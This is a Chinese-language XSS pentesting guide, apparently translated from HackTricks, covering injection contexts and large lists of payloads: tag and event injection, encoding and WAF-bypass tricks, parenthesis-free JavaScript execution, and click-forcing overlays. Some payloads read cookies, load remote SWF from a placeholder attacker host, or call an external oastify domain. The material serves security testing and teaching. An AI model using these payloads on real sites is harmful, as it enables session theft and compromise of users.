XSS (Cross Site Scripting)

如果你对黑客职业感兴趣并想要攻克不可攻克的目标 - 我们正在招聘!需要流利的波兰语书写和口语能力)。

方法论

  1. 检查你控制的任何值参数路径头部?、cookies?)是否在HTML中被反射或被JS代码使用

  2. 找到上下文,查看它是如何被反射/使用的。

  3. 如果被反射

  4. 检查你可以使用哪些符号,并根据此准备有效载荷:

  5. 原始HTML中:

  6. 你能创建新的HTML标签吗?

  7. 你能使用支持javascript:协议的事件或属性吗?

  8. 你能绕过保护措施吗?

  9. HTML内容是否被任何客户端JS引擎(AngularJSVueJSMavo...)解释,你可以利用客户端模板注入

  10. 如果你无法创建执行JS代码的HTML标签,你能利用悬挂标记 - 无脚本HTML注入吗?

  11. HTML标签内:

  12. 你能退出到原始HTML上下文吗?

  13. 你能创建新的事件/属性来执行JS代码吗?

  14. 你被困的属性是否支持JS执行?

  15. 你能绕过保护措施吗?

  16. JavaScript代码中:

  17. 你能逃离<script>标签吗?

  18. 你能逃离字符串并执行不同的JS代码吗?

  19. 你的输入是否在模板字面量``中?

  20. 你能绕过保护措施吗?

  21. Javascript 函数执行

  22. 你可以指明要执行的函数名称。例如:?callback=alert(1)

  23. 如果被使用

  24. 你可以利用DOM XSS,注意你的输入是如何被控制的,以及你的受控输入是否被任何接收器使用

在处理复杂的XSS时,你可能会发现了解以下内容很有趣:

Debugging Client Side JS

反射值

为了成功利用XSS,首先你需要找到一个由你控制的被反射的值在网页中。

  • 中间反射:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用反射XSS

  • 存储并反射:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用存储XSS

  • 通过JS访问:如果你发现一个由你控制的值通过JS被访问,你可以利用DOM XSS

上下文

在尝试利用XSS时,首先你需要知道你的输入被反射在哪里。根据上下文,你将能够以不同的方式执行任意JS代码。

原始HTML

如果你的输入在原始HTML页面中被反射,你需要利用某些HTML标签来执行JS代码:<img<iframe<svg<script...这些只是你可以使用的许多可能的HTML标签中的一些。 此外,请记住客户端模板注入

在HTML标签属性内

如果你的输入在标签的属性值中被反射,你可以尝试:

  1. 逃离属性和标签(然后你将处于原始HTML中)并创建新的HTML标签进行利用:"><img [...]

  2. 如果你可以逃离属性但不能逃离标签>被编码或删除),根据标签的不同,你可以创建一个事件来执行JS代码:" autofocus onfocus=alert(1) x="

  3. 如果你无法逃离属性"被编码或删除),那么根据你的值被反射在哪个属性如果你控制整个值或只是部分,你将能够利用它。例如,如果你控制一个事件如onclick=,你将能够使其在点击时执行任意代码。另一个有趣的例子是属性href,你可以使用javascript:协议来执行任意代码:href="javascript:alert(1)"

  4. 如果你的输入在“不可利用的标签”中被反射,你可以尝试**accesskey技巧来利用这个漏洞(你将需要某种社交工程来利用它):`" accesskey="x" onclick="alert(1)" x="**

如果你控制一个类名,Angular执行XSS的奇怪例子:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

在这种情况下,您的输入在 HTML 页面中的 <script> [...] </script> 标签之间、.js 文件中或使用 javascript: 协议的属性中被反射:

  • 如果在 <script> [...] </script> 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 </script> 并逃离此上下文。这是有效的,因为 浏览器会首先解析 HTML 标签 然后解析内容,因此,它不会注意到您注入的 </script> 标签在 HTML 代码中。

  • 如果在 JS 字符串 内反射,并且最后的技巧不起作用,您需要 退出 字符串,执行 您的代码并 重构 JS 代码(如果有任何错误,它将不会被执行):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • 如果在模板字面量中反射,您可以使用 ${ ... } 语法 嵌入 JS 表达式var greetings = `Hello, ${alert(1)}`

  • Unicode 编码 可用于编写 有效的 javascript 代码

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting 指的是在使用后声明函数、变量或类的机会,因此您可以利用未声明的变量或函数的 XSS 场景。 有关更多信息,请查看以下页面:

JS Hoisting

Javascript Function

一些网页有端点接受作为参数的要执行的函数名称。在实际中常见的例子是类似于:?callback=callbackFunc

找出用户直接提供的内容是否试图被执行的一个好方法是修改参数值(例如改为 'Vulnerable')并在控制台中查找错误,如下所示:

如果它是脆弱的,您可以通过发送值**?callback=alert(1)触发一个警报**。然而,这些端点通常会验证内容,只允许字母、数字、点和下划线([\w\._])。

然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来访问 DOM 中的任何元素

一些有用的函数:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

您还可以尝试直接触发Javascript函数obj.sales.delOrders

然而,通常执行所指示函数的端点是没有太多有趣DOM的端点,同一源中的其他页面将具有更有趣的DOM以执行更多操作。

因此,为了在不同DOM中滥用此漏洞,开发了**同源方法执行(SOME)**利用:

SOME - Same Origin Method Execution

DOM

JS代码不安全地使用一些由攻击者控制的数据,如location.href。攻击者可以利用这一点执行任意JS代码。

DOM XSS

通用XSS

这种类型的XSS可以在任何地方找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于任何****上下文。这种任意JavaScript执行甚至可以被滥用以获得RCE读取客户端和服务器中的任意****文件,等等。 一些示例

Server Side XSS (Dynamic PDF)Electron Desktop Apps

WAF绕过编码图像

在原始HTML中注入

当您的输入在HTML页面中被反射或您可以在此上下文中转义并注入HTML代码时,您需要做的第一件事是检查是否可以滥用<来创建新标签:只需尝试反射字符并检查它是否被HTML编码删除,或者是否未更改地反射只有在最后一种情况下,您才能利用此情况。 对于这些情况,还请记住客户端模板注入 注意:HTML注释可以使用******** --> 或 ****--!>

在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

但是,如果使用了标签/属性的黑白名单,您需要暴力破解可以创建的标签。 一旦您找到了允许的标签,您需要暴力破解有效标签内的属性/事件,以查看如何攻击该上下文。

标签/事件暴力破解

访问 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,然后点击 复制标签到剪贴板。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签暴力破解所有事件(在同一网页上点击 复制事件到剪贴板,并按照之前的相同程序进行操作)。

自定义标签

如果您没有找到任何有效的 HTML 标签,您可以尝试创建一个自定义标签并使用 onfocus 属性执行 JS 代码。在 XSS 请求中,您需要以 # 结束 URL,以使页面聚焦于该对象执行代码:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

黑名单绕过

如果正在使用某种黑名单,您可以尝试通过一些简单的技巧来绕过它:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

长度绕过(小型 XSS)

更多适用于不同环境的小型 XSS payload 可以在这里找到这里

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here.

Click XSS - Clickjacking

如果为了利用这个漏洞,你需要用户点击一个链接或一个带有预填充数据的表单,你可以尝试滥用 Clickjacking(如果页面是脆弱的)。

Impossible - Dangling Markup

如果你认为创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的,你应该检查Dangling Markup,因为你可以利用这个漏洞而不执行JS代码。

Injecting inside HTML tag

Inside the tag/escaping from attribute value

如果你在HTML 标签内部,你可以尝试的第一件事是逃离这个标签,并使用上一节中提到的一些技术来执行 JS 代码。 如果你无法逃离这个标签,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内,你就不需要它们):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

样式事件

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

在属性内

即使你无法从属性中逃脱"被编码或删除),根据你的值反映在哪个属性如果你控制所有值或只是部分,你仍然能够利用它。例如,如果你控制一个事件如onclick=,你将能够在点击时执行任意代码。 另一个有趣的例子是属性href,你可以使用javascript:协议来执行任意代码:href="javascript:alert(1)"

使用HTML编码/URL编码绕过事件

HTML标签属性值中的HTML编码字符在运行时被解码。因此,像以下内容将是有效的(有效负载用粗体表示):<a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">返回</a>

请注意任何类型的HTML编码都是有效的

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

注意,URL 编码也会有效:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

通过使用Unicode编码绕过内部事件

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

特殊协议在属性内

在某些地方,您可以使用协议 javascript:data:执行任意 JS 代码。有些将需要用户交互,有些则不需要。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

可以注入这些协议的地方

一般来说 javascript: 协议可以 在任何接受 href 属性的标签中使用,并且在 大多数 接受 src 属性的标签中使用(但不包括 <img>

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

其他混淆技巧

在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有效的,因为您在一个属性内。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

此外,对于这些情况还有另一个 不错的技巧即使你在 javascript:... 中的输入被 URL 编码,它在执行之前会被 URL 解码。 所以,如果你需要使用 单引号字符串逃逸,并且你看到 它被 URL 编码,请记住 这没关系, 它在 执行 时会被 解释单引号

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意,如果你尝试以任何顺序同时使用 URLencode + HTMLencode 来编码 payload,它 将不会 工作,但你可以在 payload混合使用

javascript: 中使用十六进制和八进制编码

你可以在 iframesrc 属性中(至少)使用 十六进制八进制编码 来声明 HTML 标签以执行 JS

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

反向标签窃取

<a target="_blank" rel="opener"

如果您可以在任意 <a href= 标签中注入任何 URL,并且该标签包含 target="_blank" 和 rel="opener" 属性,请查看 以下页面以利用此行为

Reverse Tab Nabbing

关于事件处理程序绕过

首先检查此页面 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 以获取有用的 "on" 事件处理程序。 如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

这里 现在可以滥用隐藏输入:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

meta标签中:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

这里:只要你能说服****受害者按下键组合,你就可以在隐藏属性中执行XSS有效载荷。在Firefox Windows/Linux上,键组合是ALT+SHIFT+X,在OS X上是CTRL+ALT+X。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS有效载荷将类似于:" accesskey="x" onclick="alert(1)" x="

黑名单绕过

本节中已经揭示了几种使用不同编码的技巧。请返回学习您可以使用的地方:

  • HTML编码(HTML标签)

  • Unicode编码(可以是有效的JS代码): \u0061lert(1)

  • URL编码

  • 十六进制和八进制编码

  • 数据编码

HTML标签和属性的绕过

阅读上一节的黑名单绕过

JavaScript代码的绕过

阅读下一节的JavaScript绕过黑名单

CSS小工具

如果您在网络的非常小的部分发现了XSS,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试修改该元素占据的空间以最大化触发链接的概率。

例如,您可以在元素中添加一些样式,如:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

但是,如果WAF正在过滤样式属性,您可以使用CSS样式小工具,因此如果您发现,例如

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

现在您可以修改我们的链接并将其变为

<a href="" id=someid class=test onclick=alert() a="">

这个技巧来自于https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

在JavaScript代码中注入

在这些情况下,您的输入反映在.js文件的JS代码中,或在<script>...</script>标签之间,或在可以执行JS代码的HTML事件之间,或在接受javascript:协议的属性之间。

转义<script>标签

如果您的代码插入在<script> [...] var input = 'reflected data' [...] </script>中,您可以轻松地**转义关闭<script>**标签:

</script><img src=1 onerror=alert(document.domain)>

注意,在这个例子中我们甚至没有关闭单引号。这是因为HTML 解析首先由浏览器执行,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。

Inside JS code

如果 <> 被清理,你仍然可以转义字符串,在你的输入所在的位置执行任意 JS。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

模板字面量 ``

为了构造 字符串,除了单引号和双引号,JS 还接受 反引号 ``。这被称为模板字面量,因为它们允许使用 ${ ... } 语法 嵌入 JS 表达式。 因此,如果你发现你的输入在使用反引号的 JS 字符串中被 反射,你可以利用语法 ${ ... } 来执行 任意 JS 代码

这可以通过以下方式 滥用

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

编码代码执行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode 编码 JS 执行

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript 绕过黑名单技术

字符串

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊转义

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JS代码中的空格替换

<TAB>
/**/

JavaScript 注释 (来自 JavaScript 注释 技巧)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript 新行(来自 JavaScript 新行 技巧)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript 空格

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

在注释中的Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

没有括号的JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`